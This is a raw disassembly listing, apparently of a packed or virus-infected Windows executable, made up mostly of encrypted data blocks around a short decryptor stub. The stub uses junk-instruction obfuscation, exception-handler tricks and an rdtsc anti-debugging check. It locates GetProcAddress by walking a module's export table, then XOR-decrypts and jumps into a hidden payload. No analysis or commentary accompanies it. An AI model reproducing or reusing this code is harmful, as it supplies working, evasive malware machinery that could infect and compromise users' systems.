50680802h, 0CD862C05h dd 0F4F0F7E0h, 3CE6263Fh, 0E221D080h, 95E8BCA0h, 4BE513h dd 9BC90A21h, 0AA17D9C4h, 4D28F44Ch, 45CE719Fh, 695D12A0h dd 0D2B2C40Fh, 0CC4B6E50h, 71BC1929h, 3049CAE0h, 8F779011h dd 42E8269Fh, 0FB36DA75h, 16980730h, 47ADE304h, 0D7D57D0h dd 60481C62h, 0D1EAD1C8h, 0C7A3E3C0h, 14BC13E7h, 5B88C470h dd 8FADD2B0h, 0A740A503h, 374B4E40h, 0E23FBDA3h, 0C4914B07h dd 6F789AC4h, 9D918928h, 0F743BFE0h, 0E930E733h, 0F59B9090h dd 0A40F7FD3h, 6C10DD7h, 0B188580Ch, 945F4703h, 38DB8F16h dd 3490F7EDh, 6ACC9107h, 564349D0h, 44A82D78h, 9ABF039Ah dd 3C6C739Eh, 4E64C2C3h, 363306E2h, 0BF4A9FDCh, 54480033h dd 0F05738C4h, 0E39BD09h, 730ABCA5h, 0C5133970h, 7FDB38E4h dd 0ED80D49Fh, 904B8460h, 0C4D3597Fh, 6769A8BDh, 7AF3F250h dd 0EF64F593h, 3D1E1891h, 36AEF3Ah, 1846CB0h, 0A5341894h dd 0B964FF44h, 2E4BB8F5h, 50C57F5Bh, 3748E978h, 32CBE77Bh dd 1AE70892h, 32C7C923h, 0ACB567EBh, 269BDCF9h, 0A8D7E684h dd 0C62FD3AFh, 37C752F5h, 1EE7B5EBh, 3C2B2F7Dh, 2D3CA9A2h dd 56F72B1Fh, 0D60C5160h, 38ADB48Fh, 2ECBA12Fh, 0DCB6A1C8h dd 0B988CF8Fh, 8017143Ah, 52C637F8h, 370C4B9Fh, 3A278D4Eh dd 373E48D2h, 690CE50h, 7B37035Fh, 0C1182AF0h, 0FC85D91Dh dd 0F4B896A4h, 4B08B71Ah, 0F26A1D54h, 0B7EA6835h, 0F7715AD0h dd 4E76ED46h, 0D21D952Ah, 0D4E8C8C3h, 533BCA4Eh, 0EBB3A506h dd 3A5D5DF5h, 0E0288003h, 6578B813h, 0F6C7DCA0h, 0A1180936h dd 0CD347BB6h, 0FE04E29Fh, 688394E0h, 0F9F8FF38h, 3A75020h dd 0B5F81D7Eh, 0C3686C1Dh, 0B21C7550h, 0B4E8A8C3h, 6D381E9Bh dd 0CA9EE760h, 3637BA58h, 4BA563FFh, 26789E12h, 13A93F6Eh dd 0C57969F0h, 51F3F040h, 5FB7B96Fh, 0B08779Ah, 7B9807B3h dd 0ECA8D090h, 0DF73F692h, 0B0890730h, 1A586974h, 96208BC5h dd 0C8B1A65Ah, 7B98A6E0h, 11D458B3h, 0D7294000h, 0E3C68601h dd 0A6F8635Fh, 6108F372h, 3A58D8F1h, 0BDA81F13h, 22F6748Ah dd 0F14CFA68h, 0B8575624h, 0E1F70C55h, 92AADFE2h, 0C1A1BEE5h dd 80D83C0h, 3D011295h, 5B88C460h, 7EFA86B1h, 0A711A485h dd 0E5784D50h, 92C409A0h, 51212E55h, 90972740h, 1CB2ED6Bh dd 0DB31B06Dh, 0F9586230h, 27AEF888h, 3DA1BED0h, 8348EC26h dd 57CEF228h, 5A62B73Fh, 0D284F6Ch, 47A220E6h, 0E1D8C289h dd 87117C85h, 3298CC50h, 0E3F1D825h, 211882F0h, 0CF61CD40h dd 6D81982Dh, 6E7C15E0h, 0E0DCC7C7h, 7A87090h, 2E8C96D0h dd 5A3471A0h, 0E59DFA60h, 0C255A870h, 0E8384629h, 0A6082314h dd 49C88BCEh, 80B69405h, 0B5418AD5h, 0D3C83CA0h, 81111EE0h dd 3F51E4FDh, 0D4CFC490h, 0C9CC5163h, 51582220h, 1857A226h dd 0EA053D38h, 413944DFh, 0EC13DA70h, 9FF84ABCh, 8FB8AB13h dd 0A0606470h, 26276D4Ch, 572A9184h, 0FDCD6550h, 38C80CE2h dd 3F1B76AEh, 0F09524A8h, 63AA96Fh, 0EA08D4E2h, 9938267Ah dd 3923D080h, 8FFB0882h, 33328F34h, 681C3F87h, 7FE8E8D0h dd 0B94D3610h, 9940F9E9h, 0BC5572A0h, 37389990h, 751043DBh dd 373BFCB0h, 0CB7C93A7h, 5AE55840h, 1DA89690h, 4BB91113h dd 0DDABE0D3h, 9E2C9577h, 0D5F83EC0h, 87474C20h, 31989ADEh dd 0B7C0BB3Fh, 72C71BC1h, 0F930B1EBh, 3B5D52A0h, 17B0040Fh dd 0F0F3AE50h, 73D89ED8h, 2008407Bh, 0CF081C0Ah, 0B7938690h dd 180AE7E8h, 4D2AC1F9h, 97C07DBBh, 38731EC0h, 0E3585C48h dd 2D132C02h, 574D2BE4h, 6D38C600h, 9BE0A3E3h, 42D832B0h dd 0BD29687Ah, 0A28F8D58h, 0DF4D3757h, 7618FAB2h, 0BF519CC5h dd 0DDB80690h, 0FC0A00E0h, 352AA128h, 0D221E0A9h, 95E8BC14h dd 0C2605FABh, 751DAD40h, 5FE898F9h, 3938B610h, 2A901362h dd 56243958h, 0DBC319FFh, 2E501D53h, 659990D2h, 38476E03h dd 0B6F84DCDh, 312680h, 0EB181628h, 470726C3h, 0CA3A818Fh dd 75F99F57h, 21DD3620h, 0A4982A49h, 873A01C6h, 4B2AA246h dd 0B36F94E9h, 76272897h, 0BB62AB5Ah, 12680453h, 3F1F825h dd 4118AAF0h, 6A295560h, 103115E5h, 0CB187624h, 0E930E733h dd 802B9090h, 55F8BEB8h, 0AB0BC720h, 0B1CB9DF9h, 5A1F48C0h dd 0D284950h, 3B88A461h, 2A1FD5C4h, 3788A008h, 41FDD9F0h dd 0F3C84C99h, 55088AF0h, 1480EA47h, 27471967h, 0E9CC996Bh dd 0DCBB4220h, 0EC803B09h, 0F57515DDh, 8048DC62h, 1A9B1172h dd 3A1F008Bh, 0ED286F94h, 1B888463h, 0CC53A6C4h, 7738A2C8h dd 0E7C88353h, 56CB3CB0h, 108285Ch, 65E39041h, 213D4D80h dd 0B208E4A2h, 0BA2B2A7Ah, 0E6A01A09h, 767B6E92h, 0C6C3AC78h dd 718898F4h, 9FC198A8h, 0C57A3710h, 0ABCB6539h, 105A073Ah dd 0D2DFC010h, 8568D7D4h, 93C81CA0h, 6C1B4C84h, 0F786828h dd 0B84FA626h, 6B18ED64h, 995A0230h, 15624F5h, 0CC7CDB27h dd 23488C30h, 57EDBA74h, 466B5D4Ah, 28CF1600h, 0DB987DE4h dd 9D832B0h, 30A2AB75h, 67D20C52h, 783F1E76h, 0F31FA0F9h dd 396AF282h, 0CF8B7172h, 2F2A3F84h, 0FA00E0BFh, 0B7EA4C3Dh dd 51F73ED0h, 0FCB7969Fh, 73E02F8Fh, 0CA17C8D0h, 8D28C8A2h dd 0F9FC919Fh, 7C2752A0h, 1738BE26h, 71823DDh, 0E645DCB0h dd 0A1084898h, 0CF026A11h, 0BFE4D36Fh, 0BEF794F0h, 5948FC96h dd 0C5F4457Fh, 20071EC0h, 0E3587206h, 50D0CFFDh, 8A17A8D0h dd 6D289448h, 391DFB36h, 4AD8228Eh, 0E76A3CA5h, 0CDBB8E50h dd 53C8BCA0h, 1980ADh, 0BF5097ADh, 0D2481E90h, 1E88F121h dd 0F9DDA220h, 98605343h, 1039F120h, 0C35839A0h, 0F18867B3h dd 39D88EAh, 69443776h, 0EF9886Ch, 6D3072A3h, 0A2D7BFFFh dd 0FFCD8655h, 0E120635Fh, 0E7350Fh, 0F745076Eh, 5AA12C6h dd 0EB0854C5h, 0E6FD6A50h, 7EDD4F7Fh, 45DC9A5Bh, 0E200B9ADh dd 81133A60h, 0C5690EC8h, 84B9416h, 5B88AC36h, 4D53F24Fh dd 0E77A206Ah, 0DB8ADBAFh, 0D74B7CB0h, 1D262BF8h, 1A34E77Fh dd 997E8593h, 34F25608h, 6278ACFh, 0E4C96F7Fh, 55F8CA68h dd 3BF90720h, 0B1981A5Fh, 0DFE85528h, 0D18B410h, 3B8894D8h dd 69C83AB0h, 0B3EA0000h, 0C4FD9650h, 0F0205CA0h, 0E3188AF0h dd 1BE5B86Ch, 5375EAB4h, 0D708EC63h, 0D9B02229h, 8CA87080h dd 68C8BA84h, 8EC9D6ABh, 9188C316h, 4008CF28h, 0E9FA37EFh dd 188F8660h, 9BDEB7B1h, 0C208F613h, 7C15FFC9h, 8B010010h dd 0FFh, 0 dd 24Dh dup(0) dd 12FFE000h, 1317h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_3144201C xchg ebx, ebx mov edx, edx call sub_314420EE mov ebp, 12FFC0h ; DATA XREF: sub_3144201C+6w stc jmp loc_3144207C start endp ; =============== S U B R O U T I N E ======================================= sub_3144201C proc near ; CODE XREF: start+3p push dword ptr fs:0 mov dword ptr ds:loc_31442011+1, ebp cmc mov fs:0, esp xor ecx, ecx push 80000000h push 80000000h push 2000h push 20h push 8 push ecx push ecx push ecx call ds:dword_31438090 ; GetProcAddress xor edx, edx push 100h push edx push 80000000h push edx push edx push 80000000h push 80000000h push edx push edx push edx push edx push edx push 80000000h call ds:dword_31438090 ; GetProcAddress loc_3144207C: ; CODE XREF: start+17j nop clc clc nop sub eax, eax loc_31442082: ; CODE XREF: sub_3144201C+6Cj dec al or al, al jz short loc_3144208C jnz short loc_31442082 jmp short near ptr loc_314420F2+1 ; --------------------------------------------------------------------------- loc_3144208C: ; CODE XREF: sub_3144201C+6Aj stc clc clc sub ebx, ebx sub ecx, ecx nop cmc mov cl, 0E6h mov edx, edx xchg ebx, ebx loc_3144209B: ; CODE XREF: sub_3144201C+84j lea ebx, [ebx+1] cmc dec ecx jnz short loc_3144209B jmp short $+2 call sub_314420E8 mov ecx, ecx nop sub esi, 0FFFFFFA3h xor edi, edi or edi, 2990h push esi jmp short $+2 loc_314420BD: ; CODE XREF: sub_3144201C+B3j call sub_314420FC cmc xchg ebx, ebx cmc inc esi sub edi, 1 mov eax, eax cmp edi, 0 ja short loc_314420BD pop esi nop xchg ebx, ebx nop mov ebx, [ebp-8] mov fs:0, ebx cld clc clc leave cld cmc jmp esi sub_3144201C endp ; --------------------------------------------------------------------------- stc ; =============== S U B R O U T I N E ======================================= sub_314420E8 proc near ; CODE XREF: sub_3144201C+88p pop esi jmp short $+2 push esi retn sub_314420E8 endp ; --------------------------------------------------------------------------- cmc ; =============== S U B R O U T I N E ======================================= sub_314420EE proc near ; CODE XREF: start+Cp arg_C = dword ptr 10h mov eax, [esp+arg_C] loc_314420F2: ; CODE XREF: sub_3144201C+6Ej pop dword ptr [eax+0B8h] xor eax, eax retn sub_314420EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- clc ; =============== S U B R O U T I N E ======================================= sub_314420FC proc near ; CODE XREF: sub_3144201C:loc_314420BDp mov al, [esi] sub ax, bx xchg al, [esi] retn sub_314420FC endp ; --------------------------------------------------------------------------- db 89h, 0D2h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_31442152 pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_31442147 mov ebx, [eax+2985h] jmp short loc_31442150 ; --------------------------------------------------------------------------- loc_31442147: ; CODE XREF: UPX2:3144213Dj add ebx, [eax+2984h] mov ebx, [ebx+2] loc_31442150: ; CODE XREF: UPX2:31442145j mov ebx, [ebx] loc_31442152: ; CODE XREF: UPX2:31442125j push ebp mov ebp, eax sub dword ptr [esp+4], 810Bh sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 0 rep movsb call sub_3144222B mov ecx, eax call sub_3144222B sub eax, ecx jz short loc_314421FD cmp eax, 100h ja short loc_314421FD and ebx, 0FFFFF000h loc_31442191: ; CODE XREF: UPX2:314421A0j cmp dword ptr [ebx+4Eh], 73696854h jz short loc_314421A2 loc_3144219A: ; CODE XREF: UPX2:314421AFj sub ebx, 100h jnz short loc_31442191 loc_314421A2: ; CODE XREF: UPX2:31442198j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3144219A add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_314421BC: ; CODE XREF: UPX2:loc_314421D0j lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_314421D0 cmp dword ptr [eax+5], 6441636Fh jz short loc_314421D5 loc_314421D0: ; CODE XREF: UPX2:314421C5j loop loc_314421BC pop ecx jmp short loc_314421FD ; --------------------------------------------------------------------------- loc_314421D5: ; CODE XREF: UPX2:314421CEj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101141h] mov dx, [eax-19h] call sub_31442230 jmp short loc_31442247 ; --------------------------------------------------------------------------- loc_314421FD: ; CODE XREF: UPX2:31442182j ; UPX2:31442189j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_31442229 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_31442229: ; CODE XREF: UPX2:31442208j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3144222B proc near ; CODE XREF: UPX2:31442174p ; UPX2:3144217Bp rdtsc retn sub_3144222B endp ; --------------------------------------------------------------------------- aam 59h ; =============== S U B R O U T I N E ======================================= sub_31442230 proc near ; CODE XREF: UPX2:314421F6p push ebx mov ecx, 2843h mov ebx, edx loc_31442238: ; CODE XREF: sub_31442230+13j xor [eax], dl sub dl, bl add eax, 1 xchg bl, bh xchg dl, dh loop loc_31442238 pop ebx retn sub_31442230 endp ; --------------------------------------------------------------------------- loc_31442247: ; CODE XREF: UPX2:314421FBj cmp al, 55h ; --------------------------------------------------------------------------- db 2 dup(0), 2Ch dd 0F72134E4h, 0B2FDF890h, 348F6427h, 5EE9FC2h, 0F4B89E5Ah dd 3CD9F82Dh, 0E661687Bh, 8904A1ACh, 2ADB6E52h, 0CF0C3111h dd 71D31E4Ch, 4CB81E2Bh, 0A4F675A7h, 8821979Dh, 20E149A7h dd 0C392F27Ch, 0FB7DD8F5h, 72F9B903h, 5CCA981Dh, 0C18E3B2h dd 0E069F83Ah, 434B6F54h, 3A97170Bh, 0E9505097h, 451B9737h dd 9CECF046h, 642F712Eh, 0D8FDA1E1h, 661A4DD0h, 0F1DA506Dh dd 0D462BDF2h, 39508596h, 83E55877h, 0C9CC1536h, 0B7AA0813h dd 9CEDE0F4h, 41C5B89Fh, 3C840569h, 1C47EB3Bh, 0EC30D09Ch dd 9AFBDE80h, 9DCC6037h, 0CA287DFAh, 0F9E520D1h, 0A4A66DF3h dd 4189196Eh, 54421695h, 2748A048h, 5BEED844h, 6242A56Ah dd 5C4B88F3h, 0D85CEF2Eh, 0EF26387Fh, 0FC1E848Ah, 14AA2B18h dd 0E5184079h, 0D460AE32h, 6E409805h, 74904853h, 0F2FE355Eh dd 0E413F8FFh, 7E0AD432h, 59A5A88Bh, 3C90006Ch, 3D21D327h dd 0DC1CBCCEh, 246AE542h, 19356001h, 0E416AA01h, 0DEABB55Eh dd 1F828478h, 0DFF8AAB5h, 0D1B34157h, 9C9C6BA0h, 85163C0h dd 0B2387708h, 0CC216488h, 0FCC5D01Eh, 6A24BD94h, 68E380A9h dd 0B6E5D27h, 5CFEAFD1h, 0B4201FA3h, 0CF0E19Bh, 0C66383Bh dd 0BC35908Dh, 2AB47D24h, 0AC554039h, 0C69C1C78h, 1C06F0C5h dd 74BA2043h, 0CC62A065h, 735A106Eh, 14F45197h, 0D4F3A84Ah dd 12769566h, 8EE658F7h, 23DCB135h, 24143E16h, 8C7D88D1h dd 0B52FB81Fh, 5614106Fh, 9E8131BBh, 794FCA63h, 44EE26FDh dd 1F8F814Eh, 0E4A49E4Eh, 0C8E72041h, 0A4367ABBh, 0FC84D635h dd 1086662Bh, 5320CC35h, 1450AA52h, 8A09BD15h, 870A9874h dd 0B2E56D78h, 0D5A628C1h, 0CF1C0343h, 9742E899h, 7CAEB254h dd 40D19837h, 1C2CF285h, 4AB8CD58h, 0BC37A031h, 0FF93776Eh dd 0F7644085h, 0C48C728Eh, 2D70FF59h, 0BD66DD28h, 5917B0E5h dd 34FA3685h, 339106Eh, 0F4BF975Ah, 0F6599B2Dh, 77227845h dd 0ED013FD3h, 7D829D98h, 11877075h, 0F44AF661h, 3D5729E2h dd 0ED73F74Eh, 1444C0A4h, 54922953h, 93A83DB4h, 0CBA5D897h dd 858A30BFh, 37CEF8DCh, 4C72E390h, 0E31C1BCh, 31ACFA0Dh dd 4170BEEh, 6C49F9A9h, 0C01398F7h, 0E3130E08h, 0F9912E6Ch dd 0CC88EDE5h, 8FB0F82Fh, 0D72017F0h, 41FF4CF9h, 2CD03DEDh dd 86873ECBh, 1EDF1BD3h, 0BF5FEA01h, 0E4F80A85h, 0E446CA73h dd 3CFEDC66h, 9488ACB0h, 0EC30C0E1h, 153E72DFh, 0CCC21A77h dd 0CAD45D8Ch, 0CF3020D1h, 48DE38CBh, 7704D02Fh, 0DF52427Fh dd 0C6E0EA35h, 56ECB247h, 0B05430FFh, 0DE8A8891h, 0F3B2B131h dd 0B2B3C72Fh, 0E37480F3h, 1B3D6D42h, 6C1147EDh, 0C4EB15B7h dd 0A5ACE015h, 74FA44E8h, 69BB4F2Ah, 3496156Eh, 0F969502Dh dd 0D422BCCFh, 78D0E026h, 7BA4784Dh, 0E2C2258Ah, 0F4EF08D3h dd 648C154Eh, 0E406B912h, 3C540145h, 0D0C73BFBh, 8B85A22Ch dd 32576AC7h, 0FBE91C8Ch, 1C8DC856h, 4C2825CFh, 0E63ACD30h dd 693BD00Dh, 54021609h, 8AF57FEEh, 6EAEC839h, 0A3FE5A55h dd 0A474DE36h, 0DB059F1h, 4F71383Fh, 9838196Ch, 817DBF8Fh dd 6CC07EB3h, 619D6E44h, 1C7CCFF3h, 8BED1C13h, 0DC363EF4h dd 50967DAFh, 8227169Bh, 2B1CDA4Fh, 464824EDh, 7BA432E7h dd 0CCE226A0h, 40EA8D83h, 0A90F30Dh, 0D7C6B81Ah, 6F781A4h dd 0AB54ED82h, 0DEC5C019h, 60DA64D6h, 0EF3E03C6h, 351BE087h dd 4CE82EE6h, 0F2662CDFh, 0AFD4808Ch, 6A9CBDD4h, 6CA58069h dd 0FB61AC9Eh, 0D3B41461h, 0A435BEE6h, 0F19D08B1h, 9BF5C700h dd 0ACCAB6D8h, 95CC039Bh, 6C91682Dh, 5121CF37h, 1C3CCEA3h dd 4A5CDD2Ch, 7221A031h, 24E90794h, 16643AE7h, 0BEB2C20Bh dd 2C016859h, 40C558A3h, 0B6CCB09Fh, 0CB2E834Fh, 0D3403673h dd 0D786B8EBh, 0C30EF8E4h, 1AF9784h, 0EC60D59Ah, 14EF4945h dd 0A226E59Ah, 30D9C8A3h, 14F0E321h, 961A7817h, 0F22FD09Dh dd 549328EBh, 0ACE08039h, 42ED887h, 75F830D5h, 0B4CA8823h dd 5A49E071h, 56F3C7ECh, 17B48033h, 0D4864402h, 82B2BBDCh dd 0B90B1534h, 4EECE05Ch, 4AB0DD6Ch, 4901A0F1h, 24C6BA63h dd 7C244695h, 0BB1DE4CBh, 7CB07572h, 0ED783115h, 0B93BD5D9h dd 41C66955h, 0DCF82134h, 0DA742D60h, 0B91D10FDh, 94F22A6Bh dd 8D729C4Ah, 25307DA4h, 0D3A81548h, 977FA211h, 1A3453B5h dd 0C7D32B7Bh, 8F68D029h, 313E5ADFh, 0DEE38097h, 619AB922h dd 395059D3h, 0C6C988A2h, 69AC8154h, 14A5139h, 0CC04F180h dd 55A58672h, 9620369h, 943BECD6h, 79CF9F77h, 74BB3B20h dd 0AD2DD2E2h, 41C49D9Bh, 19903F50h, 0B140C0DFh, 6F8064B8h dd 0F0AF3D55h, 0AE74E410h, 340E69A6h, 0EDDD1252h, 8B52DD2Bh dd 593C7CC2h, 0A6911897h, 9C91AE1Ah, 305170E4h, 0F5F435E5h dd 86B29C47h, 4C4C41E4h, 0C11A1189h, 99A9B949h, 2D41473Fh dd 0C105F4CAh, 61C3B153h, 398E7655h, 0D623C4C6h, 75EA8183h dd 10837F3Fh, 0D958F9CBh, 66F69C9Ah, 18A52240h, 0C45FEB12h dd 5A189582h, 27DF247Ah, 0CC6DDA08h, 62229DE8h, 28C13C94h dd 0D497C522h, 613465DEh, 0E8FB3C88h, 0B2BDF850h, 754F64E7h dd 0F81D27D1h, 94ABDD4Bh, 5978792Bh, 0F10F09F5h, 89F7C048h dd 299B4C23h, 0E82D20D5h, 0B39A899Bh, 29BE5424h, 0CB5F0BFDh dd 99C3D0B3h, 26B77E5Fh, 0C24FE90Ah, 42FA082h, 0AC85552h dd 0D97FE40Ch, 6A36A9D4h, 5CB4A90h, 0D29BF939h, 7B0EE8DAh dd 5DC2488h, 0B6BFEA55h, 512CB1FCh, 1D2C38B2h, 0AA87D744h dd 417A9129h, 19141FBDh, 0B8DBEE65h, 5C614D3Ch, 0E32031D7h dd 0ACD3B0B4h, 46BA6626h, 0FF5D03FEh, 96D6B8ACh, 4FB17342h dd 0D2105B08h, 9803B2A0h, 2BCC4817h, 0EF7F1506h, 9114FA80h dd 1FA85479h, 0CDB00C2Ah, 8805B5F1h, 36FB5A9Fh, 0DF85F44Ch dd 617DD8C6h, 301576A1h, 0D9A3DC46h, 604BE014h, 64165DDAh dd 0C8C7E95Eh, 7D56853Eh, 30425C4h, 0A1F2F1B1h, 79819911h dd 19541D93h, 0A5DED080h, 42998F4Ah, 1948393Bh, 0A61BFECBh dd 40A1756Dh, 0EB623426h, 0AE0BB0D6h, 72CF7C6Ah, 8C9D0C38h dd 8007CCD1h, 48E76587h, 0E28B1A6Bh, 8B55ACE0h, 2B2A6BB2h dd 9CA2154Eh, 8659BC3Dh, 291C41A4h, 0C1DA1149h, 0BF709E5Dh dd 20334DD9h, 0C3D2D09Ch, 779DBD24h, 1F487E95h, 0C0EBED91h dd 63AAB054h, 17555D1Ch, 0F274E888h, 71B0AB6Fh, 3F753408h dd 0AD2AFBD2h, 52AC9E6Ah, 11880B27h, 992DD4C0h, 74E49D9Ch dd 19873F4Fh, 9A32DBF8h, 5CE14DADh, 0F3AB3171h, 0B94FD63Ah dd 5B037CA0h, 0F8F6607Fh, 8A63C810h, 593879EBh, 0DBD626FBh dd 0BC9EA539h, 215D77E5h, 0F3D80396h, 0F4B4AD58h, 3C6754CFh dd 0C12516AAh, 93ADA47Eh, 205C2805h, 0D80FF2E9h, 52DABB62h dd 2988423Ch, 0D107E4C2h, 75EA8F9Ch, 3592763Fh, 0C546F5F8h dd 7BE48692h, 18B12D5Bh, 9070F71Eh, 72099BAAh, 23CE0613h dd 0A97CC913h, 502491F9h, 31C83188h, 0A69DC52Eh, 581200E0h dd 0EDE00D8Bh, 0B9B8DF56h, 5D587CD0h, 0E32C07BFh, 8DB5D65Eh dd 5566643Eh, 0C3620FD5h, 98E3815Ah, 318A6A36h, 0F02F70D5h dd 87FFBB9Ch, 2983432Eh, 0CB5578FBh, 9FE1BEB3h, 31B5285Fh dd 0DF4FE80Dh, 6A17BAB3h, 5CD95D74h, 0C269ED11h, 623D93B1h dd 0BD5389Bh, 0C891FB2Eh, 602CA19Bh, 9FE328Ch, 0ABB2DB43h dd 7D6495F6h, 11162CBDh, 0B8A6E921h, 41788A0Ah, 80117C9h dd 0BADCC748h, 4974633Ch dd 0E53A0BC3h, 959CD581h, 468F7C2Dh, 0C34C05FFh, 0A5E8DDAFh dd 48BA592Dh, 0F14C1A1Eh, 89008FBDh, 28CC4D79h, 0F2457024h dd 9A28ADC7h, 29FA5464h, 0CDB01C2Eh, 0BD44B5F1h, 4D37EAFh dd 82D2B370h, 46294C3h, 1F1B5587h, 0D1B9E74Fh, 0C61853Ah dd 2B015DEDh, 0F7DAF57Dh, 6C47913Eh, 90240E8h, 0A1EBC990h dd 7DBA8937h, 315F3DFFh, 9E88E199h, 41859F4Ah, 10450609h dd 0AC37CDBEh, 1F960058h, 0D20C3291h, 0B6883BE3h, 46555A02h dd 19073649h, 0E456FACFh, 6AC2D466h, 6BB4386Dh, 79CFD8F9h dd 446E2669h, 0C2DCB4A6h, 791AC0B1h, 8443DB88h, 0A4B6105Eh dd 0B089385Dh, 54382B8Fh, 0FCF18593h, 8FEBB214h, 88B76059h dd 0F4E0DCB3h, 0F38BB260h, 7418DEEAh, 0B0B013CDh, 2A2C7DE4h dd 0A8934079h, 51D35BBFh, 1CBCCDF1h, 74908160h, 0CC78C8F3h dd 0E01DF8DDh, 3C8E016Ch, 0CC58F9DBh, 7888C05Ah, 7B9E564Dh dd 0CC2252E0h, 14AE8BC3h, 4C3DB222h, 13C42150h, 0FE774877h dd 6B913F38h, 130F01A1h, 0E1BA1768h, 0CC8C70E5h, 0F4A8245Bh dd 26FCAB81h, 0CEBAF3CFh, 0FCC4B85Dh, 5678287Bh, 0C460EAEBh dd 4AEAAEBh, 0FAD303Fh, 62DF77F3h, 5398F0CFh, 4273C766h dd 393480B3h, 9FF39C24h, 7CC5C8A4h, 49127B77h, 0C7CF050h dd 236B4B13h, 47DA5F32h, 34683A2Ah, 0A62BDDFDh, 3CF2A863h dd 0D3BFFFB2h, 0BA54DD6Ch, 5351B025h, 342A21A4h, 73877A39h dd 224333E0h, 0B1140053h, 944B4634h, 13B92809h, 0C175E7A8h dd 9C5C4E6Fh, 0D4EE0876h, 65D3AFCCh, 50DE788Fh, 777B2F23h dd 44ECFAAEh, 0D8E00579h, 4CE155CCh, 0B4BC303Ch, 4BF576BCh dd 0CF07273Ah, 64A6D0AAh, 3DA9904Dh, 459F476h, 0E15973E9h dd 0D4C03FB2h, 4D78A185h, 252B1882h, 0F29A35DEh, 2091F87Fh dd 5AF1AF99h, 89B2B835h, 7900049Bh, 844E584Fh, 311DEDF5h dd 34FA1308h, 19B59FFBh, 0E496A3C9h, 1C19427Dh, 9408685Fh dd 8A7C044Ah, 5FE29DD0h, 0BCC17075h, 0EF044D74h, 4C8C2011h dd 67AB7865h, 141CCAF7h, 549228E2h, 681C2B4h, 0F45B1179h dd 1CE95916h, 0B1CA981Ch, 4E10E8F5h, 5B26AD36h, 5E43901Dh dd 14EABD98h, 315040A9h, 0DF3B7576h, 8167F055h, 742A77D7h dd 0C4ACDC62h, 9D52F72Fh, 0FD24507Dh, 0D470A027h, 28A85419h dd 7B0E5866h, 0CC62CA20h, 0B9568303h, 8DFC44D5h, 8E16B89Fh dd 3C90F8EDh, 0C6B4683Bh, 1367C0DBh, 54406E42h, 11054325h dd 0F41BCCE4h, 263971C1h, 0A5DC290Dh, 0FC04D035h, 0C1AD7AEBh dd 0ACB0BEBBh, 70185DD1h, 346860CEh, 0B48A89E7h, 286C1F66h dd 64263A5Fh, 83560532h, 919BE80Bh, 8F0634A9h, 10D5C8A3h dd 4DFEF06Fh, 0E1051E04h, 0CC589E1Bh, 51567DB6h, 0E91B06EDh dd 0D42296ADh, 7EC45754h, 0DC8A3270h, 0DD1827F8h, 7C108C3h dd 0D5A80AD1h, 0B45613ACh, 6C0440FDh, 15D3AABh, 0ECE0FE03h dd 4636DC16h, 0E87370E5h, 6125C017h, 4C381F93h, 0B6E3879Ch dd 0A1C4C022h, 0D4122CA9h, 0AD158A87h, 80235341h, 0BFFC2040h dd 0B4DF05BAh, 0F98F0E1h, 0B6196EEEh, 343B5009h, 1482E9C4h dd 6DC0C426h, 0FA9E9877h, 5A7C85FFh, 7BBA7693h, 0CC09A1E5h dd 46878AFh, 0FDE2A188h, 9ABBF875h, 0A70275DEh, 85C89E28h dd 8D129B7Ah, 627B08E9h, 86ED9F82h, 0BDC6A820h, 0B91BD156h dd 94626864h, 0F22B4584h, 44941847h, 9C4C7CCDh, 0BC998F3h dd 5CD72AD4h, 0A43A458Fh, 798BD0DDh, 54D22894h, 0AC203190h dd 545059C7h, 53EA7947h, 0B40A2DE6h, 49E63B1h, 6BAB0453h dd 0BCF409C9h, 6162D49Bh, 56ACEC1Ah, 0C4521D38h, 1181F085h dd 545A68F3h, 0A9AF811Ch, 88698D1Bh, 117081h, 0F44DD68Ah dd 59747431h, 8730D9D6h, 0F3B38A85h, 732C6036h, 0BD37606Eh dd 0E4A1A865h, 6E36E72Dh, 0AA88FD84h, 2C43C0D9h, 14EE4847h dd 9C0C798Dh, 83358CB3h, 2DC74C6Fh, 3109782Bh, 0FC54EF87h dd 62E6E86Eh, 2969490Ah, 43EE7C3h, 5E7C5884h, 0E59B0823h dd 99E7B027h, 647607A1h, 0A72B0580h, 2752E84Bh, 3C011460h dd 3BCFC9A5h, 0CD2A2D0h, 503ECF93h, 0F2AE351Eh, 0E72EF83Fh dd 6953DDFDh, 2D73A8DBh, 46C16ADAh, 7B3DA766h, 0C9A3B4C6h dd 6EDEC886h, 5C73BB62h, 0B445B32Ch, 0FF219DD1h, 1FE27826h dd 0EC31CC33h, 4CF493D7h, 9FCC7024h, 94D1E38Bh, 0EA9BEB4Ah dd 0E3B30C6Eh, 0D2EF25BFh, 75DEF28h, 27F74C72h, 6EBA8893h dd 366E61D5h, 521F771Ch, 87D8F00Fh, 741862F2h, 0B0B013CDh dd 0FD412730h, 617876Eh, 4D5E70B7h, 4F6FF34Ah, 23AE0E1Ch dd 900DF2E0h, 56F591A2h, 1A8B2352h, 0BD65F4FFh, 5BEF64B7h dd 0F18D0454h, 0B279C207h, 460F5EB7h, 0E2D70962h, 947EFD03h dd 59267FC1h, 0F5F66889h, 9895A73Bh, 304D77DFh, 9C8C72E5h dd 7DA89D63h, 235A50BDh, 8A1B11B7h, 9BA7A274h, 